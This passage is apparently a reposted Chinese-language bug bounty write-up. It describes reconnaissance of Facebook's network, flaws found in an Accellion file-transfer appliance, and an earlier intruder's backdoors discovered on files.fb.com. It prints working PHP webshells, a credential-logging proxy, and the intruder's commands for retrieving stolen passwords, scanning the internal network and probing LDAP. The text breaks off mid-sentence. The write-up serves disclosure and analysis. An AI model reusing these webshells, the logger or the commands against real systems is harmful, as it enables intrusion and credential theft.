taibeihacker
Moderator
0x00 写在故事之前
身一位滲透測試人員，比起Client Side 的弱點，我更喜歡Server Side 的攻擊，能夠直接控制服務器並獲得權限操作SHELL 才爽。當然一次完美的滲透出現任何形式的弱點都不可小視，在實際滲透時偶爾還是需要些Client Side 弱點組合可以更完美的控制服務器，但是在尋找弱點時我本身還是先偏向於以可直接進入服務器的方式去尋找風險高、能長驅直入的弱點。隨著Facebook 在世界上越來越火、用戶數量越來越多，一直以來都有想要嘗試滲透目標的想法，恰好Facebook 在2012 年開始有了Bug Bounty 獎金獵人的機制讓我更加有興趣滲透。一般如由滲透的角度來說習慣性都會從收集資料、探測開始，首先界定出目標在網路上的“範圍” 有多大，姑且可以評估一下從何處比較有機會下手。例如:
Google Hacking 能得到什麼資料?
有幾個B 段的IP ? C 段的IP ?
Whois? Reverse Whois?
有什麼域名? 內部使用的域名? 接著做子域名的猜測、掃描
公司平常愛用什麼樣技術、設備?
在Github, Pastebin 上是否有洩露的信息?
…etc
當然Bug Bounty 並不是讓你無限制的攻擊，將所遇到的範圍與Bug Bounty 所允許的範圍做交集後才是你真正可以去嘗試的目標。
一般來說大公司在滲透中比較容易出現的問題點這裡例舉幾個例子來探討：
對多數大公司而言，”網路邊界” 是比較難顧及、容易出現問題的一塊，當公司規模越大，同時擁有數千、數万台機器在線，管理員很難顧及到每台機器。在攻防中，防守要防的是一個面，但攻擊只需找個一個點就可以突破，所以防守方相對於弱勢，攻擊者只要找到一台位於網路邊界的機器入侵進去就可以開始在內網進行滲透了!
對於“連網設備” 的安全意識相對薄弱，由於連網設備通常不會提供SHELL 給管理員做進一步的操作，只能由設備本身所提供的界面設定，所以通常對於設備的防禦都是從網路層來防禦，但如遇到設備本身的0-Day 或者是1-Day 可能連被入侵了都無感應。
人的安全，隨著“社工庫” 的崛起，有時可以讓一次滲透的流程變得異常簡單，從公開資料找出公司員工列表，再從社工庫找到可以登入VPN 的員工密碼就可以開始進行內網滲透，尤其當社工庫數量越來越多“量變成質變” 時只要關鍵人物的密碼在社工庫中可找到，那企業的安全性就全然被突破:
在尋找Facebook 弱點時會以平常的思路進行滲透，在開始蒐集資料時除了針對Facebook 本身域名查詢外也對註冊郵箱進行Reverse Whois， 意外發現了個有趣的域名名稱
tfbnw.net
TFBNW 似乎是“TheFacebook Network” 的縮寫
再由公開資料發現存在下面這台服務器
vpn.tfbnw.net
哇! vpn.tfbnw.net 看起來是個Juniper SSL VPN 的登錄界面，不過版本是最新你的，並沒有直接可利用的弱點，不過這也成為了進入其內部故事的開端。
TFBNW 看似是Facebook 內部用的域名，來掃掃vpn.tfbnw.net 同網段會有什麼發現
Mail Server Outlook Web App
F5 BIGIP SSL VPN
CISCO ASA SSL VPN
Oracle E-Business
MobileIron MDM
從這幾台機器大致可以判斷這個網段對於Facebook 來說應該是相對重要的網段，之後一切的故事就從這裡開始
0x01 前期弱点收集
在同網段中，發現一台特別的服務器files.fb.com
files.fb.com 登陸界面
從LOGO 以及Footer 判斷應該是Accellion 的Secure File Transfer (以下簡稱FTA)
FTA 為一款安全文檔傳輸的產品，可讓讓使用者進行線上分享、同步文檔，並整合AD, LDAP, Kerberos 等Single Sign-on 機制，Enterprise 版本更支持SSL VPN 服務。
首先看到FTA 的第一件事是去網絡上搜索是否有公開的Exploit 是否可以被利用，Exploit 最近的是由HD Moore 發現並發佈在Rapid7 的這篇Advisory文章
Accellion File Transfer Appliance Vulnerabilities (CVE-2015-2856, CVE-2015-2857)
弱點中可直接從“/tws/getStatus” 中洩露的版本信息判斷是否可被利用，在發現files.fb.com 時該版本已從有漏洞的0.18 升級至0.20 了，不過就從Advisory 中所透洩露的代碼中感覺FTA 的編寫風格，如果再繼續挖掘可能還是會有問題存在的，所以這時的策略便開始往尋找FTA 產品的0-Day!
不過從實際黑盒的方式其實找不出什麼問題點，只好想辦法將方向轉為百盒測試，通過各種方式拿到舊版的FTA 原始代碼後終於可以開始研究了!
整個FTA 產品大致架構
網頁端介面主要由Perl 以及PHP 構成
PHP 原始代碼都經過IonCube 加密
在其項目中跑了許多Perl 的Daemon
首先是解密IonCude 的部分，許多設備為了防止自己的產品被洩露，所以會將原始碼加密，不過好在FTA 上的IonCude 版本不是最新的，可以使用現成的工具解密，不過由於PHP 版本的問題，細節部份以及數值運算等可能要靠自己修復一下，不然有點難看…
經過簡單的源代碼審計後發現，好找的弱點應該都被Rapid7 找到了T^T
而需要認證才能觸發的漏洞又不怎麼好用，只好認真地往深層一點的地方挖掘!
經過幾天的認真挖掘，最後總共發現了七個弱點，其中包含了
Cross-Site Scripting x 3
Pre-Auth SQL Injection leads to Remote Code Execution
Known-Secret-Key leads to Remote Code Execution
Local Privilege Escalation x 2
除了向Facebook 安全團隊報告漏洞外，其餘的漏洞弱點也編寫成Advisory 提交Accellion 技術文檔，經過向廠商提交修補CERT/CC 後取得四個CVE 編號
CVE-2016-2350
CVE-2016-2351
CVE-2016-2352
CVE-2016-2353
詳細的弱點細節會在Full Disclosure Policy 後公佈!
使用Pre-Auth SQL Injection 寫入Webshell
在實際滲透中進入服務器後的第一件事情就是檢查當前的環境是否對自己有用，為了要讓自己可以在服務器上維持久的權限，就要盡可能的了解服務器上有什麼限制、記錄，避開可能會被發現的風險
Facebook 大致有以下限制:
防火牆無法連接外部網絡, TCP, UDP, 53, 80, 443 皆無法連接
存在遠端的Syslog 服務器
開啟Auditd 記錄
無法外連看起來有點麻煩，但是ICMP Tunnel 看似是可行的，但這只是一個Bug Bounty Program 其實不需要太麻煩就純粹以Webshell 操作即可。
0x02 渗透测试过程
正當收集漏洞證據向Facebook 安全團隊報告時，從網頁日誌中似乎看到一些奇怪的痕跡。首先是在“/var/opt/apache/php_error_log” 中看到一些奇怪的PHP 錯誤信息，從錯誤信息來看似乎像是更改Code 所執行產生的錯誤。
PHP error log
跟隨錯誤信息的路徑分析，發現疑似前人留下的Webshell 後門
Webshell on facebook server
其中幾個文件的內容如下：
sshpass
沒錯，就是那個sshpass
bN3d10Aw.php
?php echo shell_exec($_GET['c']);
uploader.php
?php move_uploaded_file($_FILES['f]['tmp_name'], basename($_FILES['f']['name']));
d.php
?php include_oncce('/home/seos/courier/remote.inc'); echo decrypt($_GET['c']);
sclient\_user\_class\_standard.inc
?php
include_once('sclient_user_class_standard.inc.orig');
$fp=fopen('/home/seos/courier/B3dKe9sQaa0L.log', 'a');
$retries=0;
$max_retries=100;
//省略.
fwrite($fp, date('Y-m-d H:i:s T') . ';' . $_SERVER['REMOTE_ADDR'] . ';' . $_SERVER['HTTP_USER_AGENT'] . ';POST=' . http_build_query($_POST) . ';GET=' . http_build_query($_GET) . ';COOKIE=' . http_build_query($_COOKIE) . '\n');
//省略.
前幾個就是很標準的PHP 一句話木馬
其中比較特別的是“sclient_user_class_standard.inc” 這個文件。
include_once 在“sclient_user_class_standard.inc.orig” 中為原本對密碼進行驗證的PHP 程序，駭客做了一個Proxy ，並在中間進行一些重要操作時先把GET, POST, COOKIE 的值記錄起來。
整理了一下，駭客在密碼驗證的地方做了一個Proxy，並且記錄Facebook 員工的帳號密碼，並且將記錄到的密碼存儲到Web 目錄下，駭客每隔一段時間使用wget 抓取
wget https://files.fb.com/courier/B3dKe9sQaa0L.log
Logged passwords
從日誌記錄裡面可以看到除了使用者帳號密碼外，還有從FTA 文件時的郵件內容，記錄到的帳號密碼會定時Rotate (後文會提及，這點還是XD)
發現最近一次的Rotate 從2/1 記錄到2/7 共約300 條帳號密碼紀錄，大多都是“@fb.com” 或是“@facebook.com” 的員工賬號密碼，這事覺得事情有點嚴重了，在FTA 中，使用者的登入主要有兩種模式
一般用戶註冊，密碼Hash 存在資料庫，由SHA256 + SALT 儲存
Facebook 員工(@fb.com) 則走統一認證，使用LDAP 由AD 認證
在這日誌記錄中有真實的員工帳號密碼被洩露，**猜測** 這份帳號密碼應該可以通行Facebook Mail OWA, VPN 等服務做更進一步的滲透…
此外，這名“駭客” 可能習慣不太好
後門參數皆使用GET 來傳遞，在網頁日誌可以很明顯的發現其足跡
駭客在進行一些指令操作時沒考慮到STDERR ，導致網頁日誌中很多指令的錯誤信息，從中可以查看到駭客做了哪些操作
從access.log 可以觀察到的每隔數日駭客會將記錄到的帳號密碼清空
192.168.54.13 - - 17955 [Sat, 23 Jan 2016 19:04:10 +0000 | 1453575850] 'GET /courier/custom_template/1000/bN3dl0Aw.php?c=./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'cp /home/seos/courier/B3dKe9sQaa0L.log /home/seos/courier/B3dKe9sQaa0L.log.2; echo /home/seos/courier/B3dKe9sQaa0L.log' 2/dev/stdout HTTP/1.1' 200 2559 .
打包文件：
cat tmp_list3_2 | while read line; do cp /home/filex2/1000/$line files; done 2/dev/stdout
tar -czvf files.tar.gz files
對內部網路結構進行探測
dig a archibus.thefacebook.com
telnet archibus.facebook.com 80
curl http://archibus.thefacebook.com/spaceview_facebook/locator/room.php
dig a records.fb.com
telnet records.fb.com 80
telnet records.fb.com 443
wget -O- -q http://192.168.41.16
dig a acme.facebook.com
./sshpass -p '********' ssh -v -o StrictHostKeyChecking=no soggycat@localhost 'for i in $(seq 201 1 255); do for j in $(seq 0 1 255); do echo '192.168.$i.$j:`dig +short ptr $j.$i.168.192.in-addr.arpa`'; done; done' 2/dev/stdout
.
使用Shell Script 進行內網掃描，但忘記把STDERR 清理掉XD
嘗試對內部LDAP 進行連接
sh: -c: line 0: syntax error near unexpected token `('
sh: -c: line 0: `ldapsearch -v -x -H ldaps://ldap.thefacebook.com -b CN=svc-accellion,OU=Service Accounts,DC=thefacebook,DC=com -w '********' -s base (objectclass=*) 2/dev/stdout'
嘗試訪問內部網路資源
( 看起來Mail OWA 可以直接訪問…)
--20:38:09-- https://mail.thefacebook.com/
Resolving mail.thefacebook.com. 192.168.52.37
Connecting to mail.thefacebook.com|192.168.52.37|:443. connected.
HTTP request sent, awaiting response. 302 Found
Location: https://mail.thefacebook.com/owa/[following]
--20:38:10-- https://mail.thefacebook.com/owa/
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response. 302 Moved Temporarily
Location: https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0 [following]
--20:38:10-- https://mail.thefacebook.com/owa/auth/logon.aspx?url=https://mail.thefacebook.com/owa/reason=0
Reusing existing connection to mail.thefacebook.com:443.
HTTP request sent, awaiting response. 200 OK
Length: 8902 (8.7K) [text/html]
Saving to: `STDOUT'
0K . 100% 1.17G=0s
20:38:10 (1.17 GB/s) - `-' saved [8902/8902]
--20:38:33-- (try:15) https://10.8.151.47/
Connecting to 10.8.151.47:443. --20:38:51-- https://svn.thefacebook.com/
Resolving svn.thefacebook.com. failed: Name or service not known.
--20:39:03-- https://sb-dev.thefacebook.com/
Resolving sb-dev.thefacebook.com. failed: Name or service not known.
failed: Connection timed out.
Retrying.
嘗試對SSL Private Key 滲透
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
ls: /etc/opt/apache/ssl.key/server.key: No such file or directory
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
mv: cannot stat `x': No such file or directory
sh: /etc/opt/apache/ssl.crt/server.crt: Permission denied
base64: invalid input
從瀏覽器觀察files.fb.com 的證書憑證還是Wildcard 的*.fb.com…
0x03 后记总结
在收集完足夠證據後，便立即把它報告給Facebook 安全團隊，報告內容除了漏洞細節外，還附上相對應的Log 、截圖以及時間紀錄xD從服務器中的日誌可以發現有兩個時間點是明顯駭客在操作系統的時間，一個是七月初、另個是九月中旬
七月初的動作從紀錄中看起來比較偏向“尋找” 服務器，但九月中旬的操作就比較惡意了，除了“尋找”外，還放置了密碼Logger 等，至於兩個時間點的“駭客” 是不是同一個人就不得而知了
而七月發生的時機點正好接近CVE-2015-2857 Exploit 公佈前，究竟是通過1-Day 還是0-Day 入侵系統也無從得知了。這件事情就記錄到這裡，總體來說這是一個非常有趣的經歷xD ，也讓我有這個機會可以來寫寫關於滲透的一些文章
最後也感謝Bug Boun